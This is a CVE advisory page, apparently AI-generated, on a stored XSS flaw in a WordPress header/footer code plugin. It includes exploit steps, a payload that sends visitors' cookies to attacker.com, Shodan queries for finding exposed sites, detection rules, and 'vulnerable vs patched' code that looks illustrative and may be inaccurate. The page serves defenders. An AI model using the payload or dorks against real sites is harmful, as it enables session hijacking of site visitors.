☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-6493

CVE-2024-6493 Cross-Site Scripting in Ninjateam
📅 PUBLISHED: 2024-09-13 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6493 is a Stored Cross-Site Scripting (XSS) vulnerability in the NinjaTeam Header Footer Custom Code WordPress plugin, affecting versions before 1.2. The plugin fails to properly sanitize and escape user-supplied input in its settings, allowing high-privilege users (e.g., administrators) to inject arbitrary JavaScript. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses the intended security restriction. Successful exploitation can lead to session hijacking, defacement, or redirection of users to malicious sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The flaw resides in the plugin’s settings page, which stores unsanitized data in the WordPress database. When the settings are rendered on the frontend or admin pages, the injected script executes in the context of the victim’s browser. No Apache or Nginx configuration changes are required for exploitation.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H) – requires admin-level access
  • User Interaction: Required (UI:R) – victim must visit the affected page
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the attack requires high privileges, the impact is amplified in multisite environments where lower-privileged admins can escalate their capabilities.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s settings page, which stores custom header and footer code. The plugin uses update_option() to save user input without proper sanitization or escaping. When the stored option is later rendered via echo or similar functions, the unsanitized HTML/JavaScript is executed.

Root Cause: The plugin fails to apply sanitize_text_field() or wp_kses() to user input before saving, and does not use esc_html() or esc_attr() when outputting the data.

Attack Flow:

  1. An authenticated admin navigates to the plugin settings page.
  2. The attacker injects a malicious script into the header or footer code field.
  3. The plugin saves the payload to the wp_options table.
  4. When any page loads, the plugin outputs the stored payload, executing the script in the visitor’s browser.

Multisite Impact: In WordPress multisite, the unfiltered_html capability is typically disallowed for site admins. However, this plugin does not respect that restriction, allowing site admins to inject XSS payloads that affect all subsites.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.2):

// In the plugin's settings page
$header_code = $_POST['header_code'];
update_option('ninjateam_header_code', $header_code);
// Output
echo get_option('ninjateam_header_code');

Patched Code (version 1.2):

// Sanitize input
$header_code = sanitize_text_field($_POST['header_code']);
update_option('ninjateam_header_code', $header_code);
// Escape output
echo esc_html(get_option('ninjateam_header_code'));

The patch adds sanitize_text_field() on input and esc_html() on output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress multisite installation with the vulnerable plugin.
  • Admin credentials for a subsite.

Exploit Steps:

  1. Log in as a subsite admin.
  2. Navigate to Settings > Header Footer Custom Code.
  3. In the "Header Code" field, inject:
    <script>alert('XSS');</script>
    
  4. Save the settings.
  5. Visit any frontend page of the subsite. The script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual changes to the ninjateam_header_code or ninjateam_footer_code options in the wp_options table.
  • Look for admin users creating posts/pages with embedded <script> tags in plugin settings.

Hardening:

  • Immediately upgrade to version 1.2 or later.
  • Restrict admin access to trusted users only.
  • Use a Web Application Firewall (WAF) to block XSS payloads in POST requests to /wp-admin/options-general.php.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/ninjateam-header-footer-custom-code/ninjateam-header-footer-custom-code.php (version < 1.2)
  • Database: wp_options table entries ninjateam_header_code or ninjateam_footer_code containing <script> tags.
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Logs: Apache/Nginx access logs showing requests to /wp-admin/options-general.php?page=ninjateam-header-footer-custom-code with suspicious POST data.

Detection Engineering

YARA Rule

rule CVE_2024_6493_WordPress_Plugin_XSS {
    meta:
        description = "Detects vulnerable NinjaTeam Header Footer Custom Code plugin files"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-6493"
    strings:
        $vuln_func = "update_option('ninjateam_header_code'" nocase
        $vuln_func2 = "update_option('ninjateam_footer_code'" nocase
        $unsafe_output = "echo get_option('ninjateam_header_code')" nocase
    condition:
        any of ($vuln_func*) or $unsafe_output
}

Sigma Rule

title: CVE-2024-6493 - Stored XSS in NinjaTeam Header Footer Custom Code
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in the plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/wp-admin/options-general.php*'
        cs-uri-query: 'page=ninjateam-header-footer-custom-code'
        cs-body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in header/footer (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-6493 - Stored XSS Payload in WordPress Plugin Settings";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/options-general.php"; http_uri;
    content:"page=ninjateam-header-footer-custom-code"; http_client_body;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

  1. Upgrade the plugin to version 1.2 or later from the WordPress plugin repository.
  2. If upgrade is not possible, disable the plugin entirely.

Long-term:

  • Implement a Web Application Firewall (WAF) with XSS protection rules.
  • Enforce the principle of least privilege for WordPress admin accounts.
  • Regularly audit plugin code for security vulnerabilities.
  • Use a security plugin like Wordfence to monitor for malicious activity.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Header Footer Custom Code"
http.html:"ninjateam-header-footer-custom-code"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6493/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.